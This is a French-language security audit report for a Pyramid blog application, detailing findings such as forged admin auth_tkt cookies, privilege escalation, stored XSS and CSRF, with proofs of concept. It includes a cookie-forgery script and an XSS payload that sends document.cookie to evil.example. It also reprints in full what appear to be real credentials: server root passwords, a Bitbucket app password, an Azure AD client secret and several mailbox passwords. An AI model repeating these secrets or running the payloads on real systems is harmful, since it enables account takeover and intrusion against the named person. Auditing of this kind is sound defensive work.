Files
ctp_blogr/SECURITY_AUDIT.md
T
2026-10-01 17:17:27 +02:00

62 KiB

Audit de sécurité — application ctp_blogr

Date : 2026-10-01 Cible : dépôt /Users/phuoc/pyramid/ctp_blogr (branche de travail, commits non commités inclus) Pile : Pyramid 2.0.2 · SQLAlchemy 1.4.54 · Jinja2 (pyramid_jinja2 2.10.1) · WTForms 3.2.1 · SQLite · Python 3.9.6 Méthode : lecture de code + audit parallélisé (templates, config/dépendances/historique git) + proof-of-concept exécutés localement sur une copie de la base de données.


Verdict

⛔ BLOCK

L'application est ** compromises de bout en bout** et ne doit pas être exposée en l'état. Quatre chemins d'attaque indépendants conduisent à la prise de contrôle totale du site, tous reproduits lors de cet audit :

  1. un secret commité dans le dépôt permet de forger un cookie d'authentification admin sans aucun mot de passe (PoC exécuté) ;
  2. le mot de passe admin en clair est commité et vérifie contre le hachage stocké en base (PoC exécuté) ;
  3. n'importe quel utilisateur authentifié peut changer le mot de passe de n'importe quel autre compte, y compris admin (PoC exécuté de bout en bout) ;
  4. une XSS stockée est servie aux visiteurs anonymes (PoC exécuté).

S'y ajoutent une fuite de 47 billets privé vers le public, une suppression de contenu par simple requête GET sans jeton CSRF, et une base de données versionnée contenant des mots de passe root de serveurs, des mots de passe applicatifs Bitbucket et des codes de récupération OVH.

Priorité absolue : la rotation des secrets exposés doit précéder toute correction de code. Un patch applicatif ne protège pas des mots de passe déjà copiés.


Périmètre et limites

Inclus

Domaine Fichiers
Authentification / autorisation ctp_blogr/__init__.py, ctp_blogr/security.py, ctp_blogr/services/user.py, ctp_blogr/views/default.py
Vues / services / modèles ctp_blogr/views/*.py, ctp_blogr/services/*.py, ctp_blogr/models/*.py, ctp_blogr/forms.py
Templates ctp_blogr/templates/*.jinja2 (13 fichiers)
Configuration development.ini, production.ini, setup.py, pytest.ini, rtd.txt, .gitignore, .coveragerc
Scripts & dépôt ctp_blogr/scripts/initialize_db.py, 7 scripts racine, historique git complet (67 commits), ctp_blogr.sqlite

Hors périmètre

  • Configuration nginx / TLS / pare-feu (hors dépôt).
  • Le blog cao.blogr hébergé par ailleurs, et l'infrastructure Bitbucket/OVH/Dropbox — seule la vérification que leurs secrets sont exposés est faite ici.
  • Test de charge, disponibilité, concurrence SQLite.
  • Les formulaires métier morts de ctp_blogr/forms.py (HistoForm, AllocationForm, ActifForm, Actif2Form) : aucun contrôleur ne les instancie, donc aucun sink.

Non-destructivité

  • Aucun fichier du dépôt n'a été modifié.
  • La base ctp_blogr.sqlite n'a été qu'en lecture (sqlite3 -readonly, cp) ; toutes les requêtes d'écriture des PoC ont porté sur une copie jetable dans /var/.../opencode/sec_audit/audit.sqlite.
  • Aucun commit, aucun push, aucun pip install, aucun serveur réseau. Les requêtes HTTP ont été injectées directement dans l'application WSGI, sans écoute réseau.
  • Aucune exploitation n'a été tentée contre un service tiers.

Synthèse des failles

# Sévérité Titre CWE Exploitabilité Impact PoC
01 CRITIQUE Forge de cookie auth_tkt admin depuis le secret commité CWE-798 / 321 / 287 Triviale, à distance, sans authentification Prise de contrôle totale (group:administrators → manage) Exécuté
02 CRITIQUE Mot de passe admin en clair dans git, valide contre le hachage en base CWE-798 / 522 Triviale Prise de contrôle totale Exécuté
03 CRITIQUE Base versionnée : mots de passe root de VPS, app passwords Bitbucket, codes OVH CWE-312 / 798 / 522 Isole — déjà exposée Infrastructure et comptes tiers compromis Inspecté
04 CRITIQUE 7 scripts suivis par git avec identifiants Azure AD / Google / SMTP CWE-798 / 312 / 522 Isole — déjà exposée Boîtes mail et tenant Azure AD Inspecté
05 CRITIQUE Escalade de privilèges : tout utilisateur authentifié change le mot de passe d'un tiers CWE-862 / 639 Triviale pour tout compte authentifié Compromission de admin et de tous les comptes Exécuté
06 CRITIQUE XSS stockée : Markdown rendu sans assainissement + |safe CWE-79 Facile, sans authentification Vol de session admin, phishing Exécuté
07 HAUT Fuite des billets privé et brouillon vers les anonymes CWE-862 / 639 Triviale, sans authentification Divulgation de 47 contenus privés (données perso/financières) Exécuté
08 HAUT Suppression de billets et de tags par simple GET, sans CSRF CWE-352 / 862 Facile Destruction de contenu, y compris par un tiers Exécuté
09 HAUT Aucune protection CSRF sur aucune mutation CWE-352 Facile Toutes les écritures forçables Exécuté
10 HAUT Absence de contrôle de propriété : édition du contenu d'autrui CWE-862 / 639 Facile Dépublication, falsification, vol via XSS Exécuté
11 HAUT Open redirect après connexion (came_from) CWE-601 Facile Phishing crédible post-connexion Exécuté
12 HAUT Cookies auth_tkt et session sans HttpOnly ni Secure CWE-1004 / 614 Via XSS (#06) ou réseau Vol de session, interception en clair Exécuté
13 HAUT 4 secrets de signature dans l'historique git, jamais rotés CWE-798 / 321 cf. #01 Compromission persistante Inspecté
14 HAUT Identifiant retiré de l'arbre de travail mais présent dans l'historique CWE-522 / 798 Selon rotation Invisible à tout scan de l'arbre courant Inspecté
15 HAUT url_scheme = https en production alors que waitress sert en clair CWE-319 / 614 / 1004 Réseau vers *:9280 is_secure toujours True, TLS contournable Inspecté
16 HAUT setup.py : aucun verrou, aucun hash, waitress non épinglé CWE-1104 / 1357 Build-time Build non reproductible, CVE non bloqués Inspecté
17 HAUT Python 3.9.6 fin de vie ; Pyramid 2.0.2 branche abandonnée CWE-1104 Indirecte Aucun correctif CPython depuis ~11 mois Inspecté
18 MOYEN Injection d'en-tête Host dans le HTML rendu CWE-644 / 1021 Facile URLs absolues pointant vers l'attaquant Exécuté
19 MOYEN Base de production lisible par tous (0644) CWE-732 / 922 Accès shell local Lecture des hachages et contenus privés Inspecté
20 MOYEN Branche de suppression d'utilisateur en code mort (NameError) CWE-755 n/a Le contrôle d'accès prévu n'a jamais été exercé Exécuté
21 MOYEN Nom de route non validé depuis l'URL → KeyError / 500 CWE-20 Facile DoS léger, fuite de trace (debugtoolbar) Exécuté
22 FAIBLE Aucune limitation de tentatives sur /login, mot de passe ≥ 6 caractères CWE-307 / 521 Brute-force en ligne Faille des mots de passe faibles Inspecté
23 FAIBLE Slug doublement encodé dans les URLs de billets — n/a Liens cassés, pas d'impact sécurité Exécuté
24 FAIBLE .gitignore inopérant sur un fichier suivi (cause racine de #03) CWE-312 n/a Mécanisme Inspecté
25 FAIBLE Script d'initialisation non idempotent, message trompeur CWE-755 / 703 n/a Opérationnel Inspecté
26 FAIBLE rtd.txt obsolète et non installable CWE-1357 n/a Piège lors du provisionnement Inspecté

Fiches de failles

CRITIQUES

Fichiers : ctp_blogr/__init__.py:15-16, ctp_blogr/services/user.py:22-32, ctp_blogr/security.py:9-12

# ctp_blogr/__init__.py:15
authentication_policy = AuthTktAuthenticationPolicy('J2wv322aL5DTn2',
                        callback=groupfinder, hashalg='sha512', timeout=36000)

Le secret HMAC du cookie d'authentification est un littéral en dur dans un fichier suivi par git (git log : présent depuis e3d4616 initial upload, 2022-04-21).

Chemin d'attaque. AuthTktAuthenticationPolicy signe le ticket auth_tkt avec ce secret. Connaissant la clé HMAC, n'importe qui peut fabriquer hors-ligne un ticket valide pour un userid de son choix. groupfinder (services/user.py:26) attribue group:administrators au seul nom d'utilisateur littéral admin, et RootFactory (security.py:10) accorde manage à ce groupe. Aucune validation supplémentaire.

PoC — exécuté, hors-ligne, sans serveur :

from urllib.parse import unquote
from pyramid.authentication import AuthTktAuthenticationPolicy
from ctp_blogr.services.user import groupfinder

SECRET = 'J2wv322aL5DTn2'          # ctp_blogr/__init__.py:15

# 1. Fabrication du ticket à partir du seul secret
from pyramid.authentication import AuthTktCookieHelper
class R:
    domain = 'localhost'
    def __init__(self):
        self.environ = {'HTTP_COOKIE': '', 'SERVER_NAME': 'localhost',
                        'wsgi.url_scheme': 'http', 'SCRIPT_NAME': '', 'PATH_INFO': '/'}
h = AuthTktCookieHelper(secret=SECRET, hashalg='sha512', timeout=36000, include_ip=False)
raw = h.remember(R(), 'admin')   # -> auth_tkt=<hmac>!YWRtaW4%3D!userid_type:b64unicode

# 2. Le vrai policy accepte ce cookie et en déduit le rôle admin
policy = AuthTktAuthenticationPolicy(SECRET, callback=groupfinder,
                                     hashalg='sha512', timeout=36000)
req.cookies = {'auth_tkt': unquote(raw[0][1].split(';')[0].split('=', 1)[1])}
print(policy.authenticated_userid(req))   # admin
print(policy.effective_principals(req))

Résultat observé :

authenticated_userid : admin
effective_principals : ['system.Everyone', 'system.Authenticated', 'admin',
                        'group:administrators']

Sévérité : critique. Authentification contournée, non authentifié, à distance, sans connaissance d'aucun mot de passe. Deux vecteurs d'administration complets (manage) et l'ensemble des permissions applicatives.

Correctif minimal :

  1. Générer deux secrets neufs : python -c "from os import urandom; print(urandom(32).hex())".
  2. Les lire depuis l'environnement dans ctp_blogr/__init__.py (os.environ['CTP_BLOGR_AUTH_SECRET'], os.environ['CTP_BLOGR_SESSION_SECRET']) avec erreur explicite si absents.
  3. Purger l'historique git (cf. #13/#24) — invalider les tickets et sessions existants est le comportement souhaité ici.
  4. Ajouter un pre-commit bloquant tout secret (cf. #24).

Vérification de non-régression : un test qui vérifie que __init__.py ne contient aucun littéral de longueur ≥ 16 passé à SignedCookieSessionFactory ou AuthTktAuthenticationPolicy, et qu'un auth_tkt signé avec un secret différent est rejeté.


02 — Le mot de passe admin est commité en clair et valide contre le hachage en base

Fichiers : ctp_blogr/scripts/initialize_db.py:16, ctp_blogr/models/user.py:21-34

16:    model = models.user.User(name=u'admin', password=u'pcao.7513')

Présent dans 7 commits, dont e3d4616 initial upload (2022-04-21) :

$ git log --all --oneline -S'pcao.7513'
f4d6037 rename app name to ctp_blogr
7a2ba16 ignore cao_blogr.sqlite
fcd83c4 finalized update portfolio
d95ae8e fixed histo_edit
7059553 added came_from to login.jinja2
060b796 added historique
e3d4616 initial upload

Clarification importante. Le hachage n'est pas le problème. La base contient de vrais hachages passlib sha512_crypt à 656 000 itérations, pas du clair :

$ sqlite3 -readonly ctp_blogr.sqlite "select id,name,password from users;"
1|admin|$6$rounds=656000$fJNrkQmpXHkYLIwN$a2bWzHrydd.nZSj6yz1iIvBhFLu5q...
2|phuoc|$6$rounds=656000$2CreCW2GVgLVXEMw$P3OrFCXCye6iAGHXAi4nkDyaLK6s...

L'algorithme est fort. Le défaut est purement la gestion de la clé : le pré-image étant public, le hachage n'offre aucune protection.

PoC — exécuté, hors-ligne, sans réseau :

$ python -c "from passlib.apps import custom_app_context as ctx; \
    print(ctx.verify('pcao.7513', '<hash de admin>'))"
True

Le mot de passe pcao.7513 vérifie contre le hachage stocké de admin. (phuoc ne correspond à aucun candidat testé — correct.)

Atteinte intrinsèque : POST /login avec admin / pcao.7513 → groupfinder renvoie group:administrators → manage. Prise de contrôle en une requête.

Aggravant : ce mot de passe est aussi utilisé comme compte phuoc sur deux VPS distincts (cf. #03, bodies de billets 37). Une rotation limitée au blog laisserait l'infrastructure exposée.

Correctif minimal : rotation immédiate du mot de passe admin ; suppression du littéral et lecture via os.environ['CTP_BLOGR_ADMIN_PASSWORD'] avec erreur si absent ; purge de l'historique.


03 — Base de données versionnée contenant des mots de passe root de serveurs, des mots de passe applicatifs Bitbucket et des codes de récupération OVH

Fichier : ctp_blogr.sqlite → table entries, ligne id = 37, titre CTP4 - Comptes serveurs, status = 'privé'

Le billet est marqué privé, donc filtré pour les visiteurs anonymes par services/blog_record.py — l'auteur pouvait raisonnablement croire ce contenu privé. Il est dans l'historique git et poussé sur origin (https://git.caotek.fr/phuoc/ctp_blogr.git).

Preuve : sqlite3 -readonly ctp_blogr.sqlite ".mode line" "select body from entries where id=37;"

### vps-zidol
  - root : GocRe!251.vps
  - zidol : ZienDan!251.vps
  - debian: DauTien!251.vps
  - phuoc : pcao.7513.vps

### vps-boxitvn
  - root : GocRe!240
  - adm-bxvn : bauxite!240 (sudoer)
  - phuoc : pcao.7513.vps

### ent.iledefrance.fr
  - thienphuoc.cao / pcao.8211.ENT

### cao-nas : http://192.168.1.51:5000
  - ctphuoc / Can.khan9S
  - Accès externe : http://quickconnect.to/ctphuoc

### repo bitbucket
- https://ctphuoc:9HMYPQ7Yz8emdBwGpbg3@bitbucket.org/ctphuoc/cao_sunyata.git
- https://ctphuoc:9HMYPQ7Yz8emdBwGpbg3@bitbucket.org/caotek/caotek_portal.git
- https://ctphuoc:9HMYPQ7Yz8emdBwGpbg3@bitbucket.org/ctphuoc/ctp_blogr.git

Dans la même ligne : mots de passe de comptes OVH (pCao.7513, pcao.7513, pcao.8211, dcmdcm2022, 88tanhkhong.WEB), quatre jeux complets de codes de récupération OVH (40 codes), identifiants Dropbox, identifiants bancaires.

Les valeurs Bitbucket sont des identifiants HTTP Basic dans des URLs de clonage : ce sont des mots de passe applicatifs donnant lecture/écriture sur trois dépôts — dont le dépôt de ce projet.

Contenu de la base également exposé : privé = 47 billets, brouillon = 3, publié = 51. Les lignes 105-107 (CTP1 - Caisses sociales et assurances, CTP2 - Etablissements Bancaires & Impôts, CTP3 - Habitation - Abonnements) contiennent des données financières et fiscales personnelles.

Fenêtre d'exposition : la base a été modifiée dans 8 commits et suit git sans interruption depuis f4d6037 (rename app name to ctp_blogr), qui l'a ré-ajoutée après le git rm --cached correct de 7a2ba16 (cf. #24).

CWE : CWE-312, CWE-798, CWE-522.

Sévérité : critique — classe « déjà exposé ». Les mots de passe root VPS donnent un accès aux hôtes ; le mot de passe applicatif Bitbucket donne l'écriture sur ce dépôt ; les codes de récupération OVH donnent la prise de contrôle complète des comptes. Toute personne ayant eu un accès en lecture au serveur GitLab, tout clone, toute sauvegarde ou tout poste ayant cloné le dépôt dispose de l'ensemble. Aucune position réseau requise au-delà de la lecture du dépôt.

Correctif minimal (l'ordre compte) :

  1. Rotater d'abord : mots de passe root et comptes des VPS, mots de passe applicatifs Bitbucket (révoquer), mots de passe OVH + les 4 jeux de codes de récupération, NAS, Ent. Ile-de-France, Dropbox. Supprimer le fichier n'annule rien.
  2. git rm --cached ctp_blogr.sqlite puis réécriture d'historique (git filter-repo --path ctp_blogr.sqlite --invert-paths), force-push, re-clone partout.
  3. Renseigner la base par variable d'environnement / chemin hors du dépôt (production.ini pointe actuellement sur le fichier versionné — cf. #19).
  4. Sanitizer ou supprimer le billet 37 — utile seulement après la purge de l'historique.

04 — Sept scripts suivis par git avec identifiants Azure AD, Google, SMTP et IMAP en clair

Tous sept sont suivis par git (git ls-files) et ont été introduits ensemble par 5ce9066 (added scripts for testing smtp and imap, 2023-05-28).

Fichier:ligne Preuve Nature
imap-APP-office365-dumas.py:10 "secret": "dZD8Q~GmG_PFi.t_uRiyBEzwLeMZeemQGHUFta~J" Secret client d'une inscription d'application Azure AD / Microsoft 365
imap-APP-office365-dumas.py:7 "authority": "https://login.microsoftonline.com/47f02128-acf0-47a7-a3bf-27a3619d4a4f" Tenant ID (identifiant associé au secret ci-dessus)
imap-APP-office365-dumas.py:17-18 client_credentials Flux OAuth
gmail_caotek_purge.py:12 conn.login('phuoc@caotek.fr', 'pcao.8211') Mot de passe Google
gmail_ctphuoc_purge.py:14 conn.login('ctphuoc@gmail.com', 'ztwciswzhxxogcfv') Mot de passe d'application Google (contournne la 2FA)
email_avnes_purge.py:12 conn.login('ytranhong@free.fr', 'minhy116') Mot de passe boîte Free.fr
smtp-SSL-alinto-dumas.py:18 smtp_pass = "S@sdumas69" Mot de passe relais SMTP
smtp-TLS-office365-dumas.py:18 smtp_pass = "Nar50611" Mot de passe Microsoft 365
imap-SSL-alinto-dumas.py:10 passwd = "S@sdumas69" Mot de passe IMAP

Le secret Azure AD est le plus grave : c'est un client secret d'un tenant hébergeant les boîtes entreprise-dumas.com, obtenu par client_credentials — il ne requiert aucun mot de passe utilisateur et se rejoue tel quel.

Ces scripts sont hors du paquet Pyramid et sans rapport avec le blog (AGENTS.md le précise). Ils constituent néanmoins une exposition de secrets sur la surface de déploiement.

CWE : CWE-798, CWE-312, CWE-522. Sévérité : critique — déjà exposée.

Correctif minimal : révoquer et régénérer les sept identifiants (supprimer puis recréer le secret Azure AD, régénérer les mots de passe d'application Google, réinitialiser les autres) ; git rm --cached et sortir ces scripts du dépôt ; purger l'historique. Ces utilitaires ponctuels n'ont pas leur place dans le dépôt applicatif.


05 — Escalade de privilèges : tout utilisateur authentifié peut changer le mot de passe de n'importe quel autre compte

Fichier : ctp_blogr/views/default.py:88, :101-139 · ctp_blogr/security.py:9-12 · ctp_blogr/services/user.py:13-15

# views/default.py:88
@view_config(route_name='user_edit', renderer='ctp_blogr:templates/user_edit.jinja2',
             permission='view')
def user_edit(request):
    ...
    user = UserService.by_name(request, name)      # :105 — l'utilisateur visé vient de l'URL
    ...
    if 'form.submitted' in request.params and form.validate():
        ...
        del form.name                              # :135
        form.populate_obj(user)                    # :136
        user.set_password(form.password.data.encode('utf8'))   # :137 — pas de contrôle de propriété

permission='view' est accordée à Authenticated (security.py:9) : tout utilisateur connecté, pas seulement admin. Il n'existe aucune notion de rôle « rédacteur » (groupfinder renvoie [] pour tout nom ≠ admin, services/user.py:29). Le contrôleur ne vérifie jamais que l'utilisateur connecté est le propriétaire de la fiche, ni qu'il est administrateur. del form.name empêche seulement de modifier la clé primaire — le mot de passe reste modifiable.

La seule protection est le redirect vers /users (réservé aux administrateurs) — un contrôle d'interface, contournable trivially.

PoC — exécuté de bout en bout sur la copie de base :

low = Client(); low.forge('phuoc')          # utilisateur non-admin authentifié (via #01)
low.post('/user_edit/admin', {
    'form.submitted': '1', 'id': '1', 'name': 'admin',
    'password': 'owned_by_phuoc', 'confirm': 'owned_by_phuoc'})

Résultat observé :

users BEFORE          : [(1, 'admin', '$6$rounds=656000$fJNrkQmpXHkYLIwN...'),
                         (2, 'phuoc', '$6$rounds=656000$2CreCW2GVgLVXEMw...')]

[A1] phuoc POST /user_edit/admin -> HTTP 302 -> http://localhost/

passwords AFTER       : [(1, 'admin', '$6$rounds=656000$rFs...'),      <-- hachage changé
                         (2, 'phuoc', '$6$rounds=656000$2Cr...')]

[A2] login admin avec le nouveau mot de passe -> HTTP 302, auth_tkt reçu : oui

Un compte « rédacteur » a changé le mot de passe de admin, puis s'est connecté en admin. Prise de contrôle complète par n'importe quel compte authentifié.

CWE : CWE-862 (Missing Authorization), CWE-639 (Authorization Bypass Through User-Controlled Key).

Correctif minimal :

  1. Exiger permission='manage' sur user_edit, ou introduire une permission dédiée (edit:user:self) et n'autoriser edit:user:<autre> qu'aux administrateurs.
  2. Ajouter une comparaison explicite user.name == request.authenticated_userid avant toute écriture (défense en profondeur).
  3. Ne jamais accepter un nouveau mot de passe par cette vue sans vérifier le mot de passe actuel (pour l'auto-modification).

Vérification de non-régression : test d'intégration — un utilisateur non-admin reçoit un 403 sur POST /user_edit/admin et le hachage en base reste inchangé.


06 — XSS stockée : Markdown rendu sans assainissement puis injecté avec |safe

Fichiers : ctp_blogr/views/blog.py:20-22, :33 · ctp_blogr/templates/blog.jinja2:13 · ctp_blogr/views/blog.py:38

# views/blog.py:20-22
body = entry.body.replace('static/', "%s/static/" % request.application_url)
body_html = markdown.markdown(body, extensions=['footnotes'])   # aucun assainissement

# views/blog.py:33
'body_html': body_html,
{# templates/blog.jinja2:13 #}
    <p>{{ body_html | safe }}</p>

Paramètre de configuration vérifié. pyramid_jinja2 applique autoescape: True par défaut (pyramid_jinja2/settings.py:13-15) et aucune section [pyramid_jinja2.settings] ni set_jinja2_environment_options ne le désactive dans ce dépôt. C'est le seul point d'injection du projet : |safe désactive explicitement la protection.

Pourquoi l'assainissement est impossible en aval : Python-Markdown 3.9 ne retire pas le HTML brut (le mode sûr a été supprimé en 3.0) ; bleach et nh3 ne sont pas installés dans l'environnement. Le corps du billet est donc rendu verbatim.

Chemin d'attaque (entièrement vérifié) :

Utilisateur authentifié (permission 'view' = Authenticated, cf. security.py:9)
  -> POST /blog_edit/0   (views/blog.py:38, permission='view')
  -> form.populate_obj(entry) ; request.dbsession.add(entry)     (views/blog.py:66-71)
  -> le corps est persisté dans entries.body
Visiteur anonyme
  -> GET /blog/<id>/<slug>   (route 'blog', views/blog.py:9, AUCUNE permission)
  -> markdown.markdown() -> corps HTML brut
  -> body_html | safe       -> injection dans le DOM

PoC — exécuté :

low.forge('phuoc')
low.post('/blog_edit/0', {'form.submitted': '1', 'title': 'POC XSS 42',
    'body': 'Hello <script>fetch("//evil.example/"+document.cookie)</script>'
            ' <img src=x onerror=alert(1)>',
    'tag': 'programming', 'status': 'publié'})
anon.get('/blog/119/x')

Résultat observé :

[C1] phuoc POST /blog_edit/0 -> HTTP 302
    en base : [(119, 'POC XSS 42', 'publié')]
[C2] ANON GET /blog/119/x -> HTTP 200
    <script>fetch( présent  : True
    onerror=alert(1) présent : True
    extrait : <p><p>Hello <script>fetch("//evil.example/"+document.cookie)</script>
             <img src=x onerror=alert(1)></p></p>

Atteinte intrinsèque : la charge utile s'exécute dans l'origine de l'application. Combinée à #12 (cookies sans HttpOnly), elle permet le vol de la session d'administration dès qu'un administrateur ouvre le billet. Le corps étant persistant, la XSS atteint tous les lecteurs, y compris anonymes. Aucun échappement, aucune sanitisation, aucun rapport de contenu.

CWE : CWE-79.

Correctif minimal : assainir côté Python avant le rendu, avec une liste blanche explicite, puis supprimer |safe :

# ctp_blogr/views/blog.py
import bleach
ALLOWED_TAGS = {'p','br','a','img','h1','h2','h3','h4','strong','em','code','pre',
                'blockquote','ul','ol','li','table','thead','tbody','tr','th','td',
                'sup','sub','hr','del','figure','figcaption'}
ALLOWED_ATTRS = {'a': ['href','title','rel'], 'img': ['src','alt','title']}

body_html = bleach.clean(markdown.markdown(body, extensions=['footnotes']),
                         tags=ALLOWED_TAGS, attributes=ALLOWED_ATTRS,
                         protocols=['http', 'https', 'mailto'], strip=True)
return {..., 'body_html': bleach.linkify(body_html)}

et dans le template :

<p>{{ body_html }}</p>

Supprimer |safe sans assainir afficherait le HTML Markdown échappé (<p>&lt;b&gt;…) : l'assainissement est indispensable, ce n'est pas une correction cosmétique. Ajouter bleach (ou nh3) à install_requires et le figer.

Vérification de non-régression : test d'intégration — un billet dont le corps contient <script>alert(1)</script>, onerror=, javascript: et <iframe> est servi sans aucune de ces constructions dans la réponse.


HAUTES

07 — Fuite des billets privé et brouillon vers les visiteurs anonymes

Fichiers : ctp_blogr/views/blog.py:9-17 · ctp_blogr/services/blog_record.py:22-24

# views/blog.py:9
@view_config(route_name='blog', renderer='../templates/blog.jinja2')   # aucune permission
def blog(request):
    blog_id = request.matchdict['id']
    entry = BlogRecordService.by_id(request, blog_id)                  # aucun filtre de statut

# services/blog_record.py:22-24
@classmethod
def by_id(cls, request, _id):
    query = request.dbsession.query(BlogRecord)
    return query.get(_id)      # retourne TOUT statut

Le mécanisme d'anonymisation existe mais est appliqué inconsistamment : by_criteria, by_tag et get_last_created filtrent sur status == 'publié' quand authenticated_userid is None (services/blog_record.py:16-18, :30-32, :39-41). by_id — le chemin utilisé par la route blog — ne filtre rien. Il suffit donc de connaître ou de deviner un identifiant.

PoC — exécuté :

ANON GET /blog/2 -> 200 | titre divulgué : True | Mouvements du portefeuille
ANON GET /blog/4 -> 200 | <h1>Garantie &amp; Entretien MAISON</h1>
ANON GET /blog/6 -> 200 | titre divulgué : True | Ma stratégie d'investissement

La base contient 47 billets privé et 3 brouillon, dont « Ma stratégie d'investissement », « Garantie & Entretien MAISON » et le billet 37 qui contient les identifiants (#03). Tous accessibles sans authentification.

Aggravant #03 : l'auteur a précisément utilisé un billet privé pour consigner des secrets d'infrastructure. Ce billet est lisible par n'importe quel visiteur anonyme.

CWE : CWE-862, CWE-639.

Correctif minimal : appliquer le même filtrage que les autres services, dans by_id :

@classmethod
def by_id(cls, request, _id):
    query = request.dbsession.query(BlogRecord).filter(BlogRecord.id == _id)
    if request.authenticated_userid is None:
        query = query.filter(BlogRecord.status == 'publié')
    return query.first()

et ajouter permission='view' sur la route blog pour que la décision soit prise par Pyramid plutôt que dans une méthode de service.

Vérification de non-régression : test d'intégration — GET /blog/<id d'un billet privé> renvoie 404 pour un client anonyme et 200 pour un client authentifié.


08 — Suppression de billets et de tags par simple requête GET, sans jeton CSRF

Fichiers : ctp_blogr/views/blog.py:89-92 · ctp_blogr/views/blog.py:184-187 · ctp_blogr/views/default.py:141-144

# views/blog.py:89-92
if 'form.deleted' in request.params:            # request.params = GET + POST
    BlogRecordService.delete(request, blog_id)  # suppression effective
    request.session.flash("La page a été supprimée avec succès.", 'success')
    return HTTPFound(location=request.route_url('home'))

request.params agrège les paramètres de requête et de formulaire : ?form.deleted=1 suffit. Aucune méthode HTTP n'est vérifiée, aucun jeton anti-CSRF n'est exigé, aucun contrôle de propriété n'est effectué (permission='view' seulement).

PoC — exécuté :

cible : (9, 'MySQL et Plone 4 ', 'publié', 'phuoc') | total AVANT : 101
[D] phuoc GET /blog_edit/9?form.deleted=1 -> HTTP 302
    billet après : []        total APRÈS : 100

[G] phuoc GET /tag_edit/1?form.deleted=1 -> HTTP 302
    tags APRÈS : [(2,'network'), (3,'server'), (4,'database'), (5,'photo'),
                  (6,'sunyata'), (7,'tanhkhong'), (8,'perso')]

Un seul GET — donc exécutable depuis un <img src=...>, une balise <iframe>, ou un lien Balise dans un courriel — supprime un billet ou un tag. La suppression est immédiate et irréversible dans la base.

CWE : CWE-352 (CSRF), CWE-862.

Correctif minimal : exiger request.method == 'POST', placer la suppression derrière un jeton CSRF, et restreindre l'opération au propriétaire du billet ou à un administrateur.


09 — Aucune protection CSRF sur aucune mutation

Fichiers : ctp_blogr/__init__.py:9-27 · ctp_blogr/views/*.py · ctp_blogr/forms.py

Aucun jeton anti-CSRF n'est généré, aucun middleware pyramid_csrf n'est activé, et aucune vue ne vérifie de jeton. Sont concernées toutes les opérations d'écriture : création et modification de billets (blog_edit), suppression de billets (blog_edit), création et modification de tags (tag_edit), suppression de tags (tag_edit), création et modification d'utilisateurs, changement de mot de passe (user_edit), connexion (login).

Pourquoi c'est critique ici et pas ailleurs : sur ce site, le CSRF n'est pas un problème théorique — il se combine directement avec #05 (changer le mot de passe d'un tiers), #08 (supprimer n'importe quoi) et #10 (publier un contenu falsifié). Une page tierce visitée par un administrateur connecté suffit.

CWE : CWE-352.

Correctif minimal : installer pyramid_csrf, l'inclure dans __init__.py, et insérer {{ csrf_input(request) }} (ou un appel manuel) dans chaque <form> des 13 templates. Passer toutes les actions destructrices en POST avec jeton.


10 — Absence de contrôle de propriété : édition du contenu d'autrui

Fichiers : ctp_blogr/views/blog.py:38, :64-81 · ctp_blogr/views/blog.py:153-182 · ctp_blogr/models/blog_record.py:19-24

blog_edit et tag_edit sont déclarés avec permission='view' (donc pour tout utilisateur authentifié) et ne vérifient jamais entry.creator. Les colonnes creator et editor existent dans le modèle et sont renseignées, mais jamais lues pour une décision d'autorisation.

Un utilisateur authentifié peut donc modifier n'importe quel billet : changer son titre, son corps, son tag, et surtout son status — publiant un billet privé ou brouillon d'autrui.

PoC — exécuté :

AVANT : [(4, 'Garantie & Entretien MAISON', 'privé', 'phuoc')]
[E] phuoc POST /blog_edit/4 {status: 'publié', body: '<script>alert(1)</script>'}
     -> HTTP 302
APRÈS : [(4, 'Garantie & Entretien MAISON', 'publié', 'phuoc')]

Le billet était privé, il est devenu public, et son corps a été remplacé par une charge utile.

CWE : CWE-862, CWE-639.

Correctif minimal : à chaque écriture, exiger entry.creator == request.authenticated_userid ou l'appartenance à group:administrators ; sinon refuser par HTTPForbidden. Le editor doit être renseigné mais ne vaut pas autorisation.


11 — Open redirect après connexion

Fichier : ctp_blogr/views/default.py:40-56

referrer = request.url
if referrer == login_url:
    referrer = '/'
came_from = request.params.get('came_from', referrer)   # :46 — contrôle total de l'atttaquant
...
if user and user.verify_password(userpwd):
    headers = remember(request, username)
    return HTTPFound(location=came_from, headers=headers)  # :56 — redirection non validée

came_from provient directement d'un paramètre de requête et est utilisé comme cible de redirection sans la moindre validation. Pyramid 2.0.2 accepte les URL absolues dans HTTPLocation (vérifié) :

$ python -c "from pyramid.httpexceptions import HTTPFound; print(HTTPFound(location='https://evil.example/x').headers['Location'])"
https://evil.example/x

PoC — exécuté :

[B] POST /login?came_from=https://evil.example/steal  -> HTTP 302  Location: https://evil.example/steal

Atteinte intrinsèque : phishing après connexion — la cible la plus crédible possible (la victime vient de s'authentifier et est redirigée vers un site contrôlé par l'attaquant). La valeur est également réinjectée dans un champ caché du formulaire (login.jinja2:10), ce qui rend l'exploit durable même après la première connexion.

CWE : CWE-601.

Correctif minimal : n'accepter que des chemins relatifs internes :

came_from = request.params.get('came_from', referrer)
if not came_from.startswith('/') or came_from.startswith('//'):
    came_from = referrer

12 — Cookies auth_tkt et session sans HttpOnly ni Secure

Fichiers : ctp_blogr/__init__.py:13, :15-16 · production.ini:34-35

Les deux fabriques sont appelées sans options de sécurité ; Pyramid utilise alors secure=False et httponly=False par défaut (vérifié dans la bibliothèque installée : pyramid/session.py:353-354, pyramid/authentication.py:600 et :990).

PoC — exécuté, en-têtes observés :

  auth_tkt=1127054665be614ed2095d2cc97fdd885e966cd75eba0d506  | HttpOnly:ABSENT | Secure:ABSENT
  session=6pc4LatUqIABonYsyJHwwGjo8fSBiesus_JmmBV2ycZVulzXiB  | HttpOnly:ABSENT | Secure:ABSENT

Atteinte intrinsèque : HttpOnly absent → la XSS de #06 peut lire auth_tkt et le réinjecter pour usurper la session d'un administrateur. Secure absent → les deux cookies transitent en clair sur le réseau (cf. #15). Aucun fichier .ini n'expose de paramètre permettant de corriger cela.

CWE : CWE-1004, CWE-614.

Correctif minimal :

# ctp_blogr/__init__.py
my_session_factory = SignedCookieSessionFactory(
    os.environ['CTP_BLOGR_SESSION_SECRET'], secure=True, httponly=True, samesite='Lax')
authentication_policy = AuthTktAuthenticationPolicy(
    os.environ['CTP_BLOGR_AUTH_SECRET'], callback=groupfinder, hashalg='sha512',
    timeout=36000, secure=True, http_only=True, samesite='Lax')

